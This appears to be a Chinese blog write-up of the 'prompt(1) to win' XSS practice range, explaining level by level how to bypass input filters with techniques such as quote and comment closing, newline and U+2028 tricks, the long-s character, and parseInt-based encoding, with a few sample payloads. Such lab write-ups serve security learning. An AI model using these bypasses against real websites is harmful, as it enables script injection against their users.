• XSS线上靶场---prompt


    目录

    线上靶场网址

    00

     01

     02

     03

     04

     05

    06

     07

     08

    09

     0A

    0B

     0C

    0F


    线上靶场网址

    prompt(1) to win - 0x0

    00

    需要将前面的双引号进行闭合后再写JS代码

     01

    因为这个题对<>/等有过滤,所以我们不闭合标签

     02

    过滤=()等特殊符号,使用反引号+编码双括号

     03

    将输入的内容传递到注释符中,需要先闭合注释符再写JS代码

     04

    在这一关需要写入数据的格式是http://开头的才行,刚开始写http://prompt.ml/@127.0.0.1/test.js时没有成功,后面测试后发现是因为/需要编码一下

     05

    这一关需要我们将前面的双引号绕过,由于对on...=有限制,所以使用换行绕过

    06

    我们先看一下这一关的要求:

    var segments = input.split('#'); #通过#将字符串分割

    var formURL = segments[0];     #将输入的URL取出来

    var formData = JSON.parse(segments[1]);  #将  {"name":"Matt"}转成JS的对象

    var form = document.createElement('form');   #创建一个form元素/form表单

    form.action = formURL;    #form提交给URL

    form.method = 'post';   #方法使用post

    for (var i in formData) {   #将formData对象进行循环

    var input = form.appendChild(document.createElement('input'));   

    input.name = i;    #相当于将key循环出来后将key赋值给(name)

    input.setAttribute('value', formData[i]);   #将value作为Matt

    if (!/script:|data:/i.test(document.forms[0].action)) #i函数表示忽略大小写,且数据中不包含script和data才能最终进行提交操作

     form表单中提交JavaScript弹窗函数点提交会直接生效,在submit提交按钮时,如果一个表单中有两个action,后面的action值会取代/覆盖前面的action值,但是提交会提交第一个action值,在第一个action值中加上JS代码可以绕过正则表达式。

     07

    限制长度为12个字符,传递的值如果有#号都会被分割。

    字符限制如何处理:使用注释符/* */,将中间的字符串注释,将有长度的限制语句/没有用的代码注释掉。

     08

    过滤了符号 \r\n

    JavaScript规定有5个字符,不能在字符串里面直接使用,只能使用转义形式。

    •  U+005C:反斜杠(reverse solidus)
    • U+000D:回车(carriage return)
    • U+2028:行分隔符(line separator)
    • U+2029:段分隔符( paragraph separator)
    • U+000A:换行符(line feed)

           举例来说,字符串里面不能直接包含反斜杠,一定要转义写成\\或者\u005c 。
           JSON格式已经冻结(RFC 7159),没法修改了。为了消除这个报错,ES2019允许JavaScript字符串直接输入U+2028(行分隔符)和U+2029(段分隔符)。
           注意,模板字符串现在就允许直接输入这两个字符。另外,正则表达式依然不允许直接输入这两个字符,这是没有问题的,因为JSON本来就不允许直接包含正则表达式。
    我们只需要将\u2028prompt(1)\u2029-->执行后写入进去就可以了

     

     

    09

     这一关是将输入的数字进行了大写,我们可以用<ſcript src="http://127.0.0.1/test.js">试一下。

    或使用 <ſvg/οnlοad=prompt(1)> 方式

     0A

    从题目中input = encodeURIComponent(input).replace(/prompt/g, 'alert');可以看出我们的prompt被转成了alert,这样编码也无法使用,但是 input = input.replace(/'/g, '');中可以得到题中将单引号变成空,我们可以在prompt中加入单引号。

    0B

    在js中,(prompt(1))instaneof"1"和(prompt(1))in"1"是可以成功弹窗的,其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。

     0C

    这一题与0A相似,但是被encode URL编码,所以不能使用编码。JS中有parseInt函数能将字符串转化成一串数字,并且使用..toString()可以转回来,

    parselnt(string, radix)解析一个字符串并返回指定基数的十进制整数,基数是2-36之间的整数,表示被解析字符串的基数。如果第一个字符不能转化成数字,当转成NAN,radix最大只能写到36,最小为2,36由0-9+a-z组成的。

    prompt选择范围:p开头  p=0-9+a-p=26,

                                 t结尾    t=0-9+a-t=30,所以我们选择基数时最小要选择30,或者大于30的数字

     

    0F

     input = input.replace(/\*/g, '');    #过滤的符号*,所以我们用,所以svg标签中支持这样的注释符。

    ">

  • 相关阅读:
    React中useMemo与useCallback的区别
    MIT6.s081/6.828 lectrue1:Introduction and examples 以及 Lab1 心得
    [研发人员必备]paddle 如何制作自己的数据集,并显示。
    埃尔米特插值(hermite 插值) C++
    2023版 STM32实战12 IIC总线读写AT24C02
    SpringSecurity---Remember Me
    2022.8.30 go语言课程作业
    FreeRTOS个人笔记-支持时间片
    XctNet:从单个X射线图像重建体积图像的网络
    策略模式-C++实现
  • 原文地址:https://blog.csdn.net/qq_52016943/article/details/126065429